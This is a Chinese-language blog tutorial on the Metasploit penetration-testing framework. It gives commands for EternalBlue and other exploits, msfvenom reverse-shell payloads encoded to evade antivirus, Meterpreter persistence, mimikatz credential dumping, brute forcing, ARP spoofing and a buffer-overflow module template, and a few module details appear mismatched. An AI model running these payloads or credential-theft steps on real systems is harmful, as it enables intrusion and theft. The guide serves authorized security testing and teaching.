> Metasploit渗透测试框架指南 _

Metasploit渗透测试框架指南

概述

Metasploit是世界上最著名的渗透测试框架之一,提供了丰富的漏洞利用模块、载荷生成器和后渗透工具。它是安全研究人员和渗透测试人员进行安全评估的重要工具。

架构组成

核心组件

  • Exploits(漏洞利用):针对特定漏洞的攻击代码
  • Payloads(载荷):在目标系统上执行的代码
  • Auxiliary(辅助模块):扫描、嗅探等辅助功能
  • Encoders(编码器):绕过防病毒软件检测
  • NOPs(空操作):填充缓冲区的指令
  • Post(后渗透):获得访问权限后的操作模块

接口类型

  • msfconsole:命令行接口(最常用)
  • msfcli:命令行工具(已废弃)
  • msfgui:图形界面(已废弃)
  • msfweb:Web界面(已废弃)
  • Armitage:第三方图形界面
  • Cobalt Strike:商业版本

基础使用

启动和基本命令

# 启动Metasploit
msfconsole

# 基本命令
help                    # 显示帮助
version                 # 显示版本信息
show exploits          # 显示所有漏洞利用模块
show payloads          # 显示所有载荷
show auxiliary         # 显示辅助模块
show options           # 显示当前模块选项
info                   # 显示模块详细信息
search                 # 搜索模块
use                    # 使用模块
set                    # 设置参数
unset                  # 取消设置
run/exploit            # 执行模块
back                   # 返回上级
exit                   # 退出

模块搜索和选择

# 搜索特定漏洞
search ms17-010
search type:exploit platform:windows
search cve:2017-0144

# 搜索特定服务
search ssh
search ftp
search smb

# 使用模块
use exploit/windows/smb/ms17_010_eternalblue
use auxiliary/scanner/portscan/tcp
use payload/windows/meterpreter/reverse_tcp

漏洞利用实战

Windows漏洞利用

MS17-010 EternalBlue

# 使用EternalBlue漏洞
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.100
set LHOST 192.168.1.10
check                   # 检查目标是否存在漏洞
exploit

MS08-067 Conficker

# 使用MS08-067漏洞
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 192.168.1.100
set LHOST 192.168.1.10
set payload windows/meterpreter/reverse_tcp
exploit

Linux漏洞利用

Shellshock漏洞

# 使用Shellshock漏洞
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.168.1.100
set TARGETURI /cgi-bin/test.cgi
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

Dirty COW权限提升

# 使用Dirty COW漏洞
use exploit/linux/local/af_packet_chocobo_root_priv_esc
sessions -l              # 列出会话
sessions -i 1            # 进入会话1
background               # 后台运行当前会话
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

Web应用漏洞利用

SQL注入

# 使用SQL注入模块
use auxiliary/scanner/http/sqlmap
set RHOSTS 192.168.1.100
set TARGETURI /login.php
set METHOD POST
set DATA "username=admin&password=test"
run

文件上传漏洞

# PHP文件上传漏洞
use exploit/multi/http/php_utility_belt_rce
set RHOSTS 192.168.1.100
set TARGETURI /upload/
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

载荷生成

Msfvenom使用

# 生成Windows可执行文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o payload.exe

# 生成Linux ELF文件
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o payload.elf

# 生成PHP Webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o payload.php

# 生成Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -o payload.apk

# 生成PowerShell脚本
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f psh -o payload.ps1

编码绕过

# 使用编码器绕过AV
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded_payload.exe

# 多重编码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -e x86/alpha_upper -i 5 -f exe -o multi_encoded.exe

# 使用模板
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x template.exe -f exe -o templated_payload.exe

Meterpreter后渗透

基本命令

# 系统信息
sysinfo                 # 系统信息
getuid                  # 当前用户
ps                      # 进程列表
getpid                  # 当前进程ID
getprivs                # 当前权限

# 文件系统操作
pwd                     # 当前目录
ls                      # 列出文件
cd                      # 切换目录
cat                     # 查看文件内容
download                # 下载文件
upload                  # 上传文件
edit                    # 编辑文件
search                  # 搜索文件

# 网络操作
ifconfig                # 网络配置
netstat                 # 网络连接
arp                     # ARP表
route                   # 路由表
portfwd                 # 端口转发

权限提升

# 使用getsystem提升权限
getsystem

# 手动权限提升
use priv
use incognito

# 加载权限提升模块
run post/windows/escalate/getsystem
run post/multi/recon/local_exploit_suggester

持久化

# 创建服务持久化
run persistence -S -U -X -i 10 -p 4445 -r 192.168.1.10

# 注册表持久化
run post/windows/manage/persistence_exe

# 计划任务持久化
run post/windows/manage/schtask_persistence

凭据获取

# 获取密码哈希
hashdump

# 使用mimikatz
load mimikatz
wdigest
msv
kerberos

# 获取LSA secrets
lsa_dump_secrets

# 获取SAM数据库
lsa_dump_sam

辅助模块使用

扫描模块

# 端口扫描
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 21,22,23,25,53,80,110,443,993,995
run

# SMB扫描
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run

# HTTP标题扫描
use auxiliary/scanner/http/http_header
set RHOSTS 192.168.1.0/24
run

# SSH版本扫描
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run

暴力破解

# SSH暴力破解
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

# FTP暴力破解
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 192.168.1.100
set USERNAME admin
set PASS_FILE passwords.txt
run

# SMB暴力破解
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.100
set SMBUser administrator
set PASS_FILE passwords.txt
run

嗅探模块

# 数据包嗅探
use auxiliary/sniffer/psnuffle
set INTERFACE eth0
run

# ARP欺骗
use auxiliary/spoof/arp/arp_poisoning
set INTERFACE eth0
set GATEWAY 192.168.1.1
set TARGETS 192.168.1.100
run

高级技术

多重处理器

# 设置多重处理器
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
set ExitOnSession false
exploit -j -z

# 处理多个会话
sessions -l
sessions -i 1
sessions -k 1
sessions -K

路由和代理

# 添加路由
route add 10.0.0.0/24 1
route print

# SOCKS代理
use auxiliary/server/socks4a
set SRVPORT 1080
run -j

# 端口转发
portfwd add -l 3389 -p 3389 -r 10.0.0.100
portfwd list
portfwd delete -l 3389

自动化脚本

# Metasploit资源脚本示例
# auto_exploit.rc
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS file:/tmp/targets.txt
set LHOST 192.168.1.10
set payload windows/meterpreter/reverse_tcp
set AutoRunScript post/windows/manage/migrate
exploit -j -z
# 运行资源脚本
msfconsole -r auto_exploit.rc

自定义模块开发

基本模块结构

##
# 自定义漏洞利用模块
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Custom Exploit Module',
      'Description'    => %q{
        This is a custom exploit module for demonstration.
      },
      'Author'         => ['Your Name'],
      'License'        => MSF_LICENSE,
      'References'     => [
        ['CVE', '2024-0001'],
        ['URL', 'http://example.com/advisory']
      ],
      'Platform'       => 'linux',
      'Targets'        => [
        ['Generic Target', {}]
      ],
      'Payload'        => {
        'Space'    => 400,
        'BadChars' => "\x00\x0a\x0d"
      },
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2024-01-01'
    ))

    register_options([
      Opt::RPORT(9999)
    ])
  end

  def check
    connect
    sock.put("VERSION\r\n")
    response = sock.get_once
    disconnect

    if response && response.include?('Vulnerable 1.0')
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    connect

    buffer = "A" * 260
    buffer << [target.ret].pack('V')
    buffer << payload.encoded

    sock.put("OVERFLOW #{buffer}\r\n")

    handler
    disconnect
  end
end

辅助模块示例

##
# 自定义扫描模块
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Custom Service Scanner',
      'Description' => 'Scans for custom service',
      'Author'      => ['Your Name'],
      'License'     => MSF_LICENSE
    ))

    register_options([
      Opt::RPORT(9999)
    ])
  end

  def run_host(target_host)
    begin
      connect
      sock.put("HELLO\r\n")
      response = sock.get_once

      if response && response.include?('WELCOME')
        print_good("#{target_host}:#{rport} - Service detected")
        report_service(
          :host => target_host,
          :port => rport,
          :name => 'custom-service',
          :info => response.strip
        )
      end
    rescue ::Exception => e
      print_error("#{target_host}:#{rport} - #{e.message}")
    ensure
      disconnect
    end
  end
end

数据库管理

数据库配置

# 初始化数据库
msfdb init

# 连接数据库
db_connect

# 查看数据库状态
db_status

# 重建数据库
msfdb reinit

数据管理

# 工作空间管理
workspace                # 列出工作空间
workspace -a project1    # 创建工作空间
workspace project1       # 切换工作空间
workspace -d project1    # 删除工作空间

# 主机管理
hosts                    # 列出主机
hosts -a 192.168.1.100   # 添加主机
hosts -d 192.168.1.100   # 删除主机

# 服务管理
services                 # 列出服务
services -p 80           # 查看特定端口服务

# 漏洞管理
vulns                    # 列出漏洞
vulns -p 445             # 查看特定端口漏洞

# 凭据管理
creds                    # 列出凭据
creds -p smb             # 查看特定协议凭据

最佳实践

安全使用

  1. 授权测试:确保有合法的测试授权
  2. 范围限制:严格控制测试范围
  3. 数据保护:妥善保管测试数据
  4. 及时清理:测试后清理痕迹

效率提升

  1. 使用工作空间:组织不同项目
  2. 资源脚本:自动化常用操作
  3. 数据库记录:保存测试结果
  4. 模块定制:开发专用模块

报告编写

# 渗透测试报告

## 执行摘要
- 测试时间:2024-01-15
- 测试范围:192.168.1.0/24
- 发现漏洞:5个高危,3个中危

## 漏洞详情
### 1. MS17-010 EternalBlue漏洞
- **影响主机**:192.168.1.100
- **风险等级**:高危
- **利用方式**:SMB协议漏洞
- **影响**:远程代码执行
- **修复建议**:安装安全补丁KB4013389

### 2. 弱密码问题
- **影响服务**:SSH (192.168.1.101:22)
- **风险等级**:中危
- **发现凭据**:admin/123456
- **修复建议**:使用强密码策略

## 修复建议
1. 及时安装安全补丁
2. 加强密码策略
3. 网络分段隔离
4. 部署入侵检测系统

总结

Metasploit是功能强大的渗透测试框架,掌握其使用方法对于安全评估工作至关重要。在使用过程中,必须严格遵守法律法规和职业道德,确保测试活动的合法性和专业性。通过系统学习和实践,可以有效提高渗透测试技能,为网络安全防护提供有力支持。

> 文章统计_

字数统计: 计算中...
阅读时间: 计算中...
发布日期: 2025年09月01日
浏览次数: 60 次
评论数量: 1 条
文章大小: 计算中...

> 评论区域 (1 条)_

发表评论

1970-01-01 08:00:00 #
1970-01-01 08:00:00 #
#
Hacker Terminal
root@www.qingsin.com:~$ welcome
欢迎访问 百晓生 联系@msmfws
系统状态: 正常运行
访问权限: 已授权
root@www.qingsin.com:~$